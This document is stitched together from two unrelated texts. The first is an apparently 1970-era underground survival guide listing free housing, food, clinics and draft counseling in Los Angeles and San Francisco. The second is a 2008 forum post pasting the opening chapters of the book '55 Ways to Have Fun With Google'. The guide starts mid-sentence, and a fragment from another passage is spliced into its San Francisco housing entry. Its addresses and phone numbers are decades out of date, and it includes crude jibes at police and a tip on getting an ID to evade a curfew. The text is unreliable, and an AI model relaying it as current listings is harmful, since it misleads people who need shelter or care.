It has a tendency to be a floating free store though.
Money
Pick up some underground papers at any of the offices listed and hawk them on the
streets. You can pull in $6-$10 an hour if you work at it.
fuck los angeles
HOUSING
There are several crash pads and communes that will put you up for a few nights. Call the
Free Clinic at 938-9141. Floor space is available at the Sans Souce Temple on S. Ardmore.
Women's Emergency Lodge at 912 W. 9th St. (627-5571) will put up women without a
place to stay or make referrals. Resistance (386-9645) and Green Power (HQ 9-5184) will
be helpful if you have to crash. Sleeping on the beaches is out, but the roofs are cool. The
Midnite Mission at 396 S. Los Angeles (624-9258) has room and board for some boarders.
The parks and streets are certain bust material. The L.A. pigs are matched in brutality only
by their fellow hoggers in Chicago and South Africa. Every L.A. cop is nine feet of solid
chrome. Bite his toes and down he goes.
FOOD
Green Power Feeds Millions is a unique organization serving the nets of people. They
provide food for festivals, cancers, demonstrations, be-ins, sit-ins and similar events for
free. In addition they supply a number of communes and serve food every Sunday in Griffith
Park, the central get-together spot in Los Angeles. Call them at HO 9-5184 or 938-9141
for information and also to offer your help.
Free vegetarian lunch can be found at the W. Hollywood Presbyterian Church at Sunset and
Martel (874-1816). For supper, try the Midnite Mission, 396 S. Los Angeles Street; God
Squas, 1412 N. Crescent Heights Blvd. (near Sunset), and His Place, Sunset and La
Cienega.
The Half-Price Bakery at Third and Hill St. gives away free bakery goods late at night and
you can always bum a meal in any Clifton's Cafeteria with a good story.
The Watts Trojan House is a free store that provides not only food, both clothing and a
variety of other items and service. They are located at 1822 E. 103rd St. The County
Welfare Department at 2707 S. Grand (near Adams Street) has a liberal food stamp
program (746-0522).
MEDICAL CARE
The Free Clinic at 115 N. Fairfax Ave. (938-9141) is very popular and provides a
number of services at various hours such as:
Job Co-ops--Monday thru Friday, 10:00-4:00 PM.
Medical--Monday thru Friday, 5:30-l0:00 PM. Saturday 12:30-5:00 PM.
Dental--Monday thru Thursday, 7-10 PM.
Counseling-Psychiatric, Monday thru Friday, 6-10 PM.
Legal Monday thru Friday, 7-10 PM
Draft-Monday thru Thursday, 7:30-10:00 PM.
Pregnancy and Abortion--Monday, Tuesday, Thursday, 7:30. Saturday 1:30 PM
Birth Control-Monday thru Friday, 6-7 PM. Saturday 2-3 PM.
The Foothill Clinic, 547 E. Union in Pasadena (795-8088) offers similar services free of
charge. Call them for a schedule of hours. Venereal Diseases are treated in the
evenings at a clinic maintained by the Committee to Eradicate Syphillis. They are
found at 5205 Melrose Ave., Hollywood (870-2524).
In Venice use the free Youth Clinic at 905 Venice Blvd. (near Lincoln). The services are
varied and they are only open evenings. Call 399-7743 and they'll help you.
For specialized problems try:
Drugs--Narcotics Anonymous (463-3123)
Abortion-The Woman's Center, 1027 S. Crenshaw (near Olympic Blvd.)
Wednesdays at 7:30 PM.
Mental--Central City Community Mental Health Center, 4272 S. Broadway
(232-2441)
Suicide Prevention Center, 2521 W. Pico (381-5111)
District Health Centers provide many free services. For exact information, call the
center or write to:
County of Los Angeles Health Department, Public Health Education Division, 220
N. Broadway, Los Angeles, California 90012. Ask for a list and information about
their health services.
EAST LOS ANGELES-670 S. Ferris Ave. 261-3191.
SUBCENTER--MARAVILLA - 915 N. Bonnie Beach Pl. 264-6910.
HOLLYWOOD-WILSHIRE-5202 Melrose Ave. 464-0121.
SUBCENTER-WEST HOLLYWOOD-621 N. San Vincente Blvd. 652-3090.
NORTH HOLLYWOOD-5300 Tujunga Ave. 766-3981.
SUBCENTERS-PACOIMA--13300 Van Nuys Blvd. 899-0231.
TUJUNGA--7747 Foothill Blvd. 352-1417.
SOUTH-1522 E. 102 St. 564-6801
SUBCENTER--FLORENCE-Firestone-8019 Compton Ave 583-6241.
SOUTHEAST - 4920 Avalon Blvd. 231-2161.
SOUTHWEST - 3834 S.Western Ave. 731-8541.
LEGAL AID
The Legal Aid Foundation of Los Angeles at 106 3rd St. (628-9126) provides help in
civil matters.
The ACLU of Southern California is located at 323 W. Fifth St. (MA 6-5156).
DRAFT COUNSELING
AFSC - 980 N. Fair Oaks, Pasadena 91103 (791-1978)
Black Community Draft Assistance-7228 S. Broadway, LA 90003 (778-0710)
Catholic Peace Assn.--911 Malcolm Ave., Westwood 90024 (474-2683)
Counterdraft-PO Box 74881, LA 90004
East LA Peace Center-409 N. Soto, LA 90033 (261-2047)
Episcopal Draft Counseling Center-514 W. Adams Blvd., LA 90004 (748-4662)
Fellowship for Reconciliation 4356½ Melrose, LA 90029 (666-0145)
First Unitarian Church-2936 W. Eighth St., LA 90005 (389-1356)
Free Clinic-115 N. Fairfax, LA 90036 (938-9141)
L.A. Comm. for Defense of Bill of Rights-(MA 5-2169)
L.A. Draft Help-1018 S. Hill St., LA (RI 7-5461)
Myra House-191 N. Sunkist, West Covina (338-9636)
Northeast Peace Center-5682 York Blvd., LA 90042 (257-2004)
Peace House-724 Morengo, Pasadena 91103 (449-8228)
Resistance-507 N. Hoover, LA 90004
The Resistance-11317 Santa Monica Blvd., Westwood 90024 (478-2374)
SFVSC-Student Service Center, Admissions and Records Office, San Fernando Valley
State College, Northridge (349-1200, ext. 1181)
UCLA Draft Counseling Center--UCLA Law School, 405 Hilgard Ave., LA 90024
(746-6092)
USC Counseling Center-Gould Law School, University Park, Student Union Bldg., Rm.
217 (746-6092)
Valley Peace Center-7105 Hayvenhurst, Van Nuys 91406 (787-6925). Tuesday and
Wednesday evenings.
Venice Draft Info Center--73 Market St., Venice 90291 (399-5812)
War Resisters League-1046 N. Sweetzer, LA 90069 (654-4491)
Westside Jewish Community Center-5870 W. Olympic Blvd., LA 90046 (938-2531)
Women Strike for Peace-5899 W. Pico Blvd., LA 90019 (937-0236)
PLAY
Beaches
Los Angeles has 14 miles of beaches extending from north of Pacific Palisades to Cabrillo
Beach in San Pedro.
Will Rogers Beach State Park, 15100 Pacific Coast Highway, Pacific Palisades, extends
north three miles from the Santa Monica city limits to a point near Topanga Canyon. This
beach has a large, popular surfing area.
Venice Beach, 2100 Ocean Front Walk, Venice, extends from the Santa Monica city limits
south to Marina Del Rey. Six acres have been developed into a park with picnic areas,
shuffleboard courts and the Venice Beach Pavilion. The huge Venice Fishing Pier is located
here, and there is an area for surfing.
Isidore B. Dockweiler Beach State Park, 11401 Vista del Mar Ave. extends from Marina del
Ray, south of the city of El Segundo. This beach has 700 fire pits and a surfing area.
Cabrillo Beach, 3720 Stephen White Drive, San Pedro, located at the northern end of Los
Angeles Harbor, has picnic areas, fire pits and a section for surfing.
Royal Palms Beach, 1799 Paseo del Mar is equipped with picnic areas and fire pits.
Parks
Griffith Park is the largest park and the favorite gathering spot of the local hip community.
It's next to the Ventura and State Freeways.
Arroyo Seco Park is located along the Arroyo Seco and has picnic, recreational and
bowling-on-the-green facilities. You'll also find the Los Angeles Zoo at 5333 Zoo Drive in the
park.
Brand Park and Memory Garden opposite the old Mission San Fernando is a real strange
place to go.
Echo Park has the largest artificial lake in Los Angeles. Fishing programs for kids are
conducted each summer and electric boats are available for rent.
Hancock Park, located on Wilshire Blvd, between Odgen and Curson, has the LaBrea Tar
Pits with prehistoric animal and plant fossils all over the place.
The Exposition Park Rose Garden on Exposition Blvd. is a seven-acre sunken rose garden
that smells great.
Founded by Hubert Eaton as "the first step up to heaven," Forest Lawn Memorial Park,
overlooking beautiful downtown Glendale has to be the wildest spot around. It is pure L.A.
with the largest collection of reproduced statuary in the world. Jean Harlow, Sabu, Clark
Gable and other loved ones are tucked away here. You can turn on in front of the Jean
Hersholt Memorial, fuck in the Aisle of Benevolence located in the Great Mausoleum, and
trip out on a stereo sermon emanating from the giant Mystery of Life sculpture.
Far-fucking out!
Museums
There are over fifty free museums in the greater Los Angeles area. We are listing those of
special interest.
California Museum of Science and Industry-Exposition Park, 749-0101.
Hollywood Wax Museum-6767 Hollywood Blvd. (near Grauman's Chinese Theater).
Los Angeles County Museum of Art-5905 Wilshire Blvd. in Hancock Park, 937-2590.
Music
Every Sunday there are free music concerts in Griffith Park. Movies
U.C.L.A. has a free experimental film series every year. Call them at 825-4321 for a
schedule.
INFORMATION
The Switchboard in Los Angeles has a 24-hour-a-day service called the Hot Line. It's
located at 4650 Sunset Blvd. (663-1015). Call them for the latest in what's going down in
the area. The L.A. Free Press at 7813 Beverly Blvd. 937-1970, is always a good source of
information. The Black Panther Party Headquarters can be found at 4115 S. Central Ave.,
235-4127, or at 9818 Anzac, in Watts, 567-8027. The Traveler's Aid Society has offices in
the Greyhound Bus Terminal and International Airport. They provide all kinds of services
and information to lost souls or visitors. Generally
FREEBIES
Clothes
The following spots offer clothes,furniture and other household items at low prices:
Goodwill Industries-235 So. Broadway 228-1748; 5208 Whittier 264-1638
St. Vincent de Paul Society-727 N. Broadway 627-8147; 210 San Fernando Rd. 221-6151
The Volunteers of America maintain a number of thrift stores throughout the area. Try
8609 S. Broadway or call 750-9251 for the store near you.
The Salvation Army also has a chain of stores. The main store is at 801 E. 7th St.
620-1270. They can help you there or let you know where you can shop in your area.
Money
You can sell a pint of blood for $10.00 at the Red Cross Blood Bank, 1200 S. Vermont
(384-5261).
Pets
All sorts of free pets are available at the ASPCA, 5026, W. Jefferson (731-2491).
Identification
Los Angeles has a curfew law but you can get a suitable I.D. with photo for $3.50 at Twelfth
and Hill Streets.
fuck san francisco
HOUSING
The nights are chilly in San Francisco but there are places that offer a free night's lodging.
To avoid overcrowding they tend to employ a ticket system. By showing up in the late
afternoon, you are generally assured a place to stay that night. The following places work it
this way:
Brother Juniper's Inn--1736 Haight, tickets on a first-come, first-serve basis.
Holy Order of Man--937 Fillmore, no tickets.
Hospitality House--148 Leavenworth, for people under 18, generally filled.
Pinehurst Emergency Lodge--2685 30th Ave., for unwed mothers and women with
children.
St. Mary's Church--660 California, tickets at 6:00 PM.
St. Patrick's Church--756 Mission, tickets at 6:00 PM
St. Vincent De Paul--235 Minna, tickets at 4:00 PM for single men only.
Salvation Army Harbor Light--290 Fourth St., no tickets.
Traveler's Aid, 38 Mason, 771-0880, will assist in finding temporary shelter. Young runaways
will find it cool to try All Saint's Church, 1350 Walker (863-9718) for both room and board.
Also Huckleberry's for Runaways, 1347 7th Ave. (731-3921) will provide these and other
services such as counseling.
If you're going to settle for a while in San Francisco, you might have difficulty finding an
apartment to rent. Try the Federal Housing Information Center, 100 California (556-5900).
They maintain a free listing.
The Community Design Center, 215 Haight (863-3718) provides free advice on
architectural and design of pads inside and out once you locate a place, speaking, you can
find a Traveler's Aid Station in every place that large numbers of travelers can be found.



toggletoggle post by Mucko  at Mar 25,2008 3:47pm
[FONT=XXL]1
55 Ways to Have
Fun With Google
A cabinet of search
engine curiosities,
riddles, games, and a
little bit of usefulness
You can order the book at
www.55fun.com
Philipp Lenssen
55 Ways to Have Fun With Google
2
55 Ways to Have fun With Google by Philipp Lenssen.
First edition 2006.
Released under a
Creative Commons Attribution-NonCommercial-ShareAlike 2.0 License
(see http://creativecommons.org/licenses/by-nc-sa/2.0/ for more).
You are free:
• to copy, distribute, display, and perform the work
• to make derivative works
Under the following conditions:
By Attribution. You must attribute the work in the manner specified by the author or licensor.
Noncommercial. You may not use this work for commercial purposes.
Share Alike. If you alter, transform, or build upon this work, you may distribute the resulting
work only under a license identical to this one.
• For any reuse or distribution, you must make clear to others the license terms of this
work.
• Any of these conditions can be waived if you get permission from the copyright
holder.
Your fair use and other rights are in no way affected by the above.
3
On a spring day you can find your way
to a little flower garden where the Googleheads play
You know they’re there by the clothes they wear
And their Googlehead faces and their Googlehead hair.
‘Cause they’re the Googleheads
They shake their doodleheads
They’re the goo-ga-goo-ga-goo-gah Googleheads.
– Laurie Berkner
55 Ways to Have Fun With Google
4
Contents
Introduction .....................................................................................8
1. Egogoogling: Susan Is…..............................................................9
2. The Google Snake Game............................................................ 15
3. Memecodes: Survival of the Fittest Web Pages ......................... 16
4. The Google Irritation Game, and the Google Image Quiz........ 19
5. Googling Proverbs......................................................................20
6. Browsing Images of a Site..........................................................24
7. A Brief History of Googlesport...................................................25
8. What is Google, and what do people consider fun about it?......32
9. How Much Time Google Saves Us ............................................37
10. Google Cookin’ a Lemon Chicken............................................40
11. Douglas Adams and the Google Calculator.............................. 41
12. Oops, I Googled Again .............................................................42
13. The Disappearing Google Logo, a Magic Trick ......................45
14. Fun With Google Maps, the Wiki Way .....................................46
15. Dave Gorman’s Googlewhack .................................................. 51
16. Google Q&A .............................................................................54
17. Celebrate Google Non-Weddings, and More ...........................56
18. Design Your SketchUp Dream House .....................................58
19. Kevin Bacon and the Google Network .....................................59
20. The Google Alphabet................................................................62
5
21. Google Search Tips...................................................................63
22. Googlepark ...............................................................................66
23. Googleshare ..............................................................................76
24. The Shortest Google Search (and the One Returning the Most
Results) ....................................................................................79
25. Google Rotated and Mini Google.............................................80
26. The Google Quiz: How Much Do You Know About Google? .82
27. Recreate Google From Memory ...............................................86
28. The Strange World of Google News......................................... 91
29. Aliens Attack Google! ............................................................. 100
30. Top Ten Signs You Are Addicted to Google.......................... 102
31. Dig a Hole Through Earth ..................................................... 103
32. Googlebombing...................................................................... 105
33. Google Ads Gone Wrong ........................................................ 109
34. Life in the Age of Google.........................................................114
35. Google Hacking.......................................................................118
36. Googlepolls: Ask the Crowd ....................................................121
37. Googlefights.............................................................................131
38. What If Google Was Evil? Plus: Five Inventions of the Google
Future..................................................................................... 133
39. The Google Adventure Game................................................. 150
40. Egobot, Voice of the Web........................................................151
41. Fun Google Gadgets ............................................................... 154
42. Forty-Two, or: A Science-Fiction Interlude ........................... 160
55 Ways to Have Fun With Google
6
43. The Google Book of World Records....................................... 175
44. Spelling Errors Galore ............................................................ 180
45. Google Groups, Time Machine.............................................. 182
46. Growing a Google Word ......................................................... 188
47. Most Popular Words, and PopSents....................................... 190
48. Create Google Poetry, Prose, and Collages ............................ 195
49. Funny Google Videos ............................................................. 203
50. The Realplayer Fish, or: Telling a Story in Synonyms ........... 207
51. Google Parodies...................................................................... 210
52. The Google Images Prediction Trick..................................... 217
53. Fun With Google Translations ............................................... 218
54. The Giant Google Painting..................................................... 219
55. Googledromes......................................................................... 224
Acknowledgments........................................................................ 225
Glossary........................................................................................ 226
7
55 Ways to Have Fun With Google
8
Introduction
This book, in a way, is born out of my daily weblog “Google
Blogoscoped” (blog.outer-court.com) and those who read it. Since 2003
I’ve been writing there covering all things Google – not just the fun
stuff, but news, discussion, interviews, tutorials, and everything beyond
with a relation to search engines. Thanks to those reading along and
providing pointers or feedback, I’ve been able to discover more
interesting pages and get to know more interesting people around the
world than ever before.
When I think of Google, first and foremost I think of its role to
discover knowledge, people, and people’s thoughts. Search engines are
truly one of the first emergents of a global brain, and in good tradition
of Gutenberg’s inventions in the technology of printing, of the
invention of the internet, and later the invention of the World Wide
Web. All those bring us closer together by speeding up the rhythm in
which we communicate.
So there we have it, for the first time in history: search, the key to
instant knowledge. And what do we do with it? Silly things. OK, not
exclusively. But silliness is a part of it. People googlewhack,
googlebomb, or egogoogle. People create parodies of Google. They
create search engine contests. Magic tricks, riddles and art based on
Google. They have a lot of fun with Google, and get together to play
games on top of Google services. Even Google Inc themselves send
out April Fool’s jokes every year, and celebration logos many times a
year. Oh, humanity!
But behind many of the playful creations surrounding that giant
Google toy, there are serious lessons to be learned. Of the 55 ways to
have fun with Google presented here, some ways indeed teach us
something; about life, Google, and how to become a better searcher.
And the rest of the ways? Well, seriously, they’re really just there to
have fun. And I hope you enjoy!
1. Egogoogling: Susan Is…
9
1. Egogoogling: Susan Is…
Have you ever searched for your own name on Google, curious what
the world has to say about you? Almost everyone of us did, one time
or another. In fact, you should – maybe others search for you all the
same, and you want to know what they will find.
The act of searching for yourself is also known as “egogoogling.”
Here’s a variant of it which can be a fun game. Enter your first name
followed by the word “is” into Google, and put the search in quotes.
For example, if your name is Susan, the search would look like this:
“susan is”
Now in the search result snippets, you will learn a lot of things about
you that you didn’t even know! For the name “Susan,” we get the
following:
Susan is an amazing person to work with!
Susan is an ethical woman and is refusing to cooperate
Susan is a very attractive young lady (with a boyfriend) who for
some reason is always late.
Susan is a top Florida residential real estate agent.
Susan is a top producer specializing in the ski resort town of
Breckenridge, as well as the surrounding area.
Not only can you apply this approach to find out more about yourself
(or just have a good laugh, actually, as the results are likely to be about
another person), you can also use this to find out about celebrities. To
do so, enter the full celebrity name followed by the word “is” into
Google, and put it in quotes again:
“arnold schwarzenegger is”
For action movie star Arnie, we get these results:
Arnold Schwarzenegger is a very talented man who would
make an excellent governor.
Arnold Schwarzenegger is falling into a similar spiral.
Arnold Schwarzenegger is looking out for voters’ best
interests.
55 Ways to Have Fun With Google
10
Arnold Schwarzenegger is a man more familiar with the red
carpets of a movie premiere than a white collar business seminar.
Arnold Schwarzenegger is terrifying as the “killer cyborg” who
“looks like Death rendered in steel.”
Arnold Schwarzenegger is The Terminator (T-800).
Arnold Schwarzenegger is quickly discovering that life in
politics doesn’t always produce the happy endings so common in
many of his Hollywood blockbusters.
Note that you can use “stars in,” “was born in” and similar glue words
instead of “is” to find out almost anything about a celebrity. You can
even expand the idea to include things, not people… try searching for
“Nikon cameras are” and similar queries.
If you don’t have Google near you, here are some popular male and
female names with their “egogoogled” results.
Male Names
Aaron is a monotonic anchor.
Adam is a deeply disturbing and depressing film.
Alan is AI’s pattern-matching chatbot.
Albert is so cute!
Andrew is the Patron Saint of Scotland.
Anthony is probably the best male vocal out there.
Arthur is kind of in a category by itself.
Brandon is for the birds.
Brian is embarrassed that he needs the extra help in school.
Carl is just sitting there in Nashville!
Charles is also a coach of AYSO youth soccer, an officer in the PTA of the
local elementary school.
Christopher is of mixed heritage (Asian-American).
Daniel is a natural talent .
David is not allowed computer access.
Dennis is one of Britain’s best known entrepreneurs.
Donald is rarely easy to understand, and people have supposedly heard him say
all sorts of risque things. Donald is a Professor in the Department of
Psychology.
Douglas is “King of California.”
Edward is a biological human (not a robot).
Edward is coming BACK to television.
Eric is featured on guitar and mandolin on the songs Viargra and Gypsy
woman.
Frank is hilariously funny on what makes us red-staters different from bluestaters
(not).
Fred is leading the Franklin Templeton Shootout after 2 rounds!
1. Egogoogling: Susan Is…
11
Gary is the editor and compiler of ResourceShelf.
George is, quite simply, the worst helpdesk technician ever.
Gerald is frightened and doesn’t understand why the woman wants to assist
him.
Gregory is recognized as one of the very foremost orators.
Harold is an original.
Henry is currently in jail.
Jack is looking for a house with about half an acre of land to buy in California.
James is as forthright as an Old Testament prophet.
Jason is who the JASON Project is named after.
Jeffrey is helping to clear up this cosmic murkiness.
Jeremy is a conscientious worker who can usually be relied upon.
Jerry is a master at understanding your goals for the photograph and then
creating the perfect lighting.
Joe is “LIVE” daily.
John is succeeding marvelously in journalism’s highest calling: to encourage
people .
Jonathan is writing a magical fable of his grandfather’s village in Ukraine.
Joseph is the Special Assistant to the President and Senior Director.
Joshua is home now.
Juan is similar to the one at the top of this page.
Justin is practicing walking on his hands.
Keith is a true character who comes across as being very sincere.
Kenneth is a strong advocate for community building and social change.
Kevin is creative director and co-founder at Lightroom.
Larry is also a political planner.
Lawrence is a New York Real Estate Broker specializing in Putnam.
Mark is coauthor of Inside Windows 2000, Third Edition (Microsoft Press).
Matthew is believed to have used Mark and the theoretical source.
Michael is abandoning the music business to release his songs online for free
instead.
Patrick is one of the nation’s best young auto racers.
Paul is backwards in line and taller than everyone else, again.
Peter is a consultant with a distinguished academic track record.
Ralph is not beyond fishing around for a philosophical explanation.
Raymond is an observer-participant anthropologist in the Internet
Richard is often accused of being overly concerned with himself.
Robert is an elder in the Presbyterian Church (USA)
Roger is approached by a gangling, spotty computer scientist.
Ronald is known in more than 100 countries wherever you find McDonald’s
restaurants.
Ryan is clearly good at her job.
Samuel is irresistible.
Scott is arguably the most well-known and influential unknown composer.
Shawn is now 26 years old, lives in San Diego, enjoys snowboarding, taking
trips to Lake.
Stephen is working with Marvel to produce a series of comic books.
Steve is a DJ in Boston.
55 Ways to Have Fun With Google
12
Steven is writing the same song over and over.
Terry is back with his new group, The Society for Truth and Justice.
Thomas is still searching
Timothy is an accomplished juggler.
Walter is now 79 years of age and in excellent health.
William is truly “fit for a king.”
Female Names
Alice is an AIML engine written in C++.
Amanda is most known for her role in FOX’s hit TV show “The OC.”
Amy is... sniff... sniff... sad about our recent barking on her “Re-name RSS
contest.”
Angela is absolutely swamped this week!
Ann is only a writer – and NOT a private detective.
Anna is helping out with the hurricane relief effort.
Anne is a storyteller.
Barbara is to go to Paddle Sports of Santa Barbara.
Betty is distinctively heard singing alongside Michael.
Brenda is the mother of 14 children, 12 of whom are adopted.
Carolyn is currently training for the next WNBA season.
Catherine is a star.
Christina is also busy promoting the line of footwear “Skechers.”
Christine is red and white.
Cindy is in “love with the attention.”
Cynthia is still on the border.
Debbie is an International Magician.
Deborah is pleased to announce two brand-new paintings!
Debra is a nationally recognized expert on communication skills.
Denise is funny, bright and bubbly.
Diana is currently in London, England where she is working on the artwork.
...
Diane is steadfast in her mission of marketing and negotiating the terms of
the sale.
Donna is recording her 2nd CD, "Feels Like Home", which will be released in
2001.
Doris is such a great zine.
Dorothy is 5 Dinosaur years old, and is very wise for her age.
Edith is only meaningful.
Elizabeth is just south of the expanding Addo Elephant National Park.
Ellen is Africa’s first lady president.
Emily is nation’s young poet of the year.
Heather is the one with the muscles.
Helen is Coming To Town!.
Irene: Irene is a wedding and portrait photographer serving parts of New
England and New York State. Jane is one of Victorian literature’s rebellious
heroines.
1. Egogoogling: Susan Is…
13
Janet is fantastic.
Janice is right there on that edge.
Jennifer is a genius.
Jessica is a joy and a delight that brings happiness to all of us.
Josephine is Under Construction!
Judith is no mythical personage.
Judy is going to still have to answer to a higher authority.
Julie is no longer a loner; she, too, learns about being a part of a community.
Karen is an experienced tutor in both fiddle and step dance.
Katherine is one of two large towns you will come across on the route
between Darwin and Alice.
Kathleen is foremost a musician.
Kathy is married to Rick Hilton, who is the wealthy grandson.
Kimberly is married to Johnny.
Laura is not a psychologist nor a psychiatrist.
Linda is now going to move to the south of Sweden.
Lisa is furious with Debbie.
Louise is a first-class song, there is no doubting.
Margaret is not the enemy.
Marie is an accomplished author with an important story to tell.
Martha is “free.”
Melissa is very open about her past.
Michelle is as Michelle does.
Nancy is also an award-winning video producer.
Nicole is now working hard on a NEW collection of tunes.
Pamela is coming into her glory today.
Rachel is well on her way to achieving her goals.
Rebecca is never seen, and yet she is the main character.
Ruth is a member of the American Immigration Lawyers Association.
Sandra is the fourth woman to win it all, compared to only three men.
Sara is right. Yes, it is true.
Sarah is still in the studio working.
Sharon is expected to decide this weekend.
Sherry is a type of wine originally produced in and around the town of Jerez.
Stephanie is so afraid of germs, she can’t stop washing her hands.
Susan is creative, perceptive, intuitive, and timely.
Suzanne is not Sue.
Tina is no acronym.
Virginia is a five-day bike tour.
Wendy is now the only comic featured on the website.
55 Ways to Have Fun With Google
14
(Original cartoon by the US government.)
2. The Google Snake Game
15
2. The Google Snake Game
Here’s a party game which needs nothing but a working internet
connection (say, a notebook or cell phone), and Google.com’s web
search. The goal is to create the longest phrase that Google can find by
alternately adding one word to the end of the other player’s search
phrase. Say, the first person starts with “Feelings”. Now the second
person adds a word, “are”, so we get “Feelings are”... (Note the use of
quotation marks in the search query.)
Now every time a word is added, the phrase is searched for in Google,
and the resulting page count is announced to the group. The one
person who creates a sentence with zero results in Google loses and has
to do something silly (or if you want to play with points, he loses a
point, and the last person who created a sentence with results in Google
will win a point). To prevent cheating, the one whose turn is next is not
allowed to look at any search result snippet.
Let’s take our sample, and see what we get:
Peter: “Feelings” (53,200,000 results in Google)
Mary: “Feelings are” (2,100,000 results)
Jake: “Feelings are nothing” (1,090 results)
Susan: “Feelings are nothing and” (19 results)
Peter: “Feelings are nothing and we” (0 results)
Susan gets 1 point, and Peter gets minus 1 points (or has to do
something silly).
If you create too obscure a sentence there won’t be any results and you
will lose, but if your sentence gets too many results, your opponent will
also be able to create a sentence with results. The basic strategy is to try
to create sentences so silly that there are only a few results, but not so
silly there are no results…
55 Ways to Have Fun With Google
16
3. Memecodes: Survival of the Fittest Web
Pages
Memecodes are web pages with randomly created texts which are born
and die over the course of time. How is that possible? By basing those
pages on the rules of evolution: the more often a page is found and
clicked on in Google – the more popular it is – the more offspring it
produces.
The title Memecodes is a word play on Richard Dawkins memes from his
book “The Selfish Gene”1. In it, he wrote:
Examples of memes are tunes, ideas, catch-phrases, clothes
fashions, ways of making pots or of building arches. Just as
genes propagate themselves in the gene pool by leaping
from body to body via sperms or eggs, so memes
propagate themselves in the meme pool by leaping from
brain to brain via a process which, in the broad sense, can
be called imitation.
I created this experiment in early 2004 to watch it grow, with some
interesting results. Here’s how it worked in detail. First, based upon a
dictionary of words, pages with random texts were created. To make
sure the texts looked rather natural, words like “the” or “and” as well
as punctuation were added. The resulting pages contained
Jabberwockyish2 paragraphs such as this one:
Cognac? Is sloth is waist is declare of bramble flood in of
stoical. Footman... Hesitancy a for attention flabby wanton
and calculate vtol cyclamate that paprika feign the aline
fourth qualifications of in. Thatch, Saccharin hansom
rationale in dine numbers.
This page – or set of “genes” – was unique in the whole set of pages
which made up the “ecosystem.” Now there was a possibility certain
sentences or fragments of sentences made sense. One sentence, for
example, contained the phrase “corpulent pigeons,” which someone
3. Memecodes: Survival of the Fittest Web Pages
17
did indeed search for in Google. As soon as that happened and the
searcher clicked on the Memecodes result, this particular page created
offspring – it “mated” with the searcher, if you will. The offspring of
any page was the same page slightly mutated by randomly replacing
some of its words. This way, maybe “corpulent pigeons” became
“corpulent pink pigeons” (surely that would have had the chance to be
an even more successful gene) or it could turn into “corpulent tower
pigeons” (and face certain death over time, because rarely do people
search for such a thing!).
How did pages die then? There was a page population limit of a little
over 2,000 pages. Whenever a new page was born, the oldest page
would be removed (the link from the front-page of the Memecodes
experiment pointing to this page would be removed). If a page didn’t
manage to create offspring until then, its genes were unsuccessful in
surviving and would therefore not be continued.
Other genes (random texts) would be more successful, though. And
some of the successful pages would become even more successful in
turn, possibly finding a natural search niche to settle into: they lured
more and more searchers to find them by creating more and more
“natural language.” One day, the pages might even turn into
Shakespeare, and it wouldn’t need infinite monkeys to pull it off! Or
rather, that was my hope. But evolution takes a lot of time to show
results, and after little more than a year, I stopped the experiment.
Until then, however, a lot of people found their way onto the site and
thus produced offspring. All in all, a walloping 10,022 pages were born
(about 2,500 of those seed pages created automatically in the
beginning), with some Memecodes in their 5th generation.
Some of the popular sentences were truly strange, like “feel the wrath
of salivating mushroom eating frog aliens with microwave ovens,” or
the more down-to-earth “seagull sandwich.” Other sentences were
circling around the word “torrent,” because “Torrents” had started to
become a popular way to download video and other files on the web.
The only clearly recognizable pattern in successful genes, however,
were exotic words and word combinations I can’t even print here for
reasons you might be able to guess: they were all about “adult” topics.
Then again, I guess that’s nature!
End Notes
1. Dawkins, R. (1976). The Selfish Gene. (www.55fun.com/3.1)
55 Ways to Have Fun With Google
18
2. Jabberwocky is the title of a nonsensical poem from Lewis Carroll’s
Through the Looking-Glass and What Alice Found There (1872). It starts off
with “Twas brillig, and the slithy toves/ Did gyre and gimble in the
wabe.” (www.55fun.com/3.2)
4. The Google Irritation Game, and the Google Image Quiz
19
4. The Google Irritation Game, and the
Google Image Quiz
This is probably the weirdest game on Google you will find online.
“Bemmu’s Cure for Google Irritation” (www.55fun.com/9.1) moves all
kinds of Google-related sentences through the screen. Like “I hate
Googleplex,” “Who needs Larry,” or “Google doesn’t frighten me.”
Now it’s your job to type these sentences into a small box below the
screen as fast as you can before they disappear. When you succeed, you
get as many points as the phrase contains letters. If you don’t succeed,
you lose one of your 10 lives.
If you are looking for a little more long-term fun, I suggest my
Google Image Quiz (blog.outer-court.com/quiz/). In it, you will be
presented with 15 images for every round. Then it’s your job to find
the correct search words that were used to find these images in Google
Images. Sounds easy? Give it a try, I’ve heard it’s addicting, too!
55 Ways to Have Fun With Google
20
5. Googling Proverbs
In his book Was Wir Wissen1 (“what we know”), German author
Benjamin von Stuckrad-Barre tried to find the everyday life contexts in
which proverbs are used – and he used Google to do so. For example,
he searched for “Those who live in glass houses should not throw
stones” and then listed who was being referred to on the resulting web
pages (like discussion boards, or news articles). Let’s follow the same
approach for English proverbs here!
Who shouldn’t throw stones in a glass house?
• The plywood industries of Malaysia and Indonesia
• People who say Michael is guilty
• Those who tell on people who don’t follow a site’s Terms of
Service
• Russia
• People who call Greeks liars
What conquers all?
• Love
• Labor and perseverance
• Courage
• Truth
• Humor
• Linux
What can’t a man live by alone?
• Bread
• Rice
• Incompetence
• Crimefighting
• Chocolate
5. Googling Proverbs
21
• Bagels
• Jaffa Cakes
What’s not everything?
• Money
• Winning the prize, or the tournament
• Wikipedia
• Salad
• Ecology
• Speed
• Base salary
• Technological superiority
What best things in life are free?
• Sun Java Studio Enterprise 8.0
• Computers
• The Chicago Cultural Center’s top-notch music programming
• Online Black Jack
• Business opportunities
• A smile
• Seattle
Who let the dogs out?
• 49ers
• Karl, Bob, and Paulie
• Rumsfeld
• FOX
• Karl Rove
• Nintendo
55 Ways to Have Fun With Google
22
What is the new black?
• Lurid pink
• Keylogging
• Green Teat
• Fluffy
• Gray, or fuchsia, or red
• Caucasian
• UNPOP
• Benjamin
• Simplicity
• BeOSmodule
• Scrolling
• Blacker
• Polygamy
• Apathy
• Pacifism
• Downshifting
What shouldn’t you throw out with the bathwater?
• Musicians
• The crown
• The pervert
• The BabyCenter.com
• The leak
• The monitor
• The culture
• The dressed up chihuahua
• The concept of rural
• The artistic effort
• The Furbies
• The appraisal
5. Googling Proverbs
23
• God
• SOAP
• Pearls
• The fluoride
End Notes
1. Stuckrad-Barre, B.v. (2005). Was Wir Wissen. (www.55fun.com/5)
55 Ways to Have Fun With Google
24
6. Browsing Images of a Site
If you want to see all images of a particular website, you can use the
“site:” operator on Google Images (images.google.com) – you may know
this operator from Google’s web search. For example, enter site:cnn.com
into the Google Images search box to see all images shown on CNN’s
website. Click on an image in the result list and you’re taken to the
respective page containing the image.
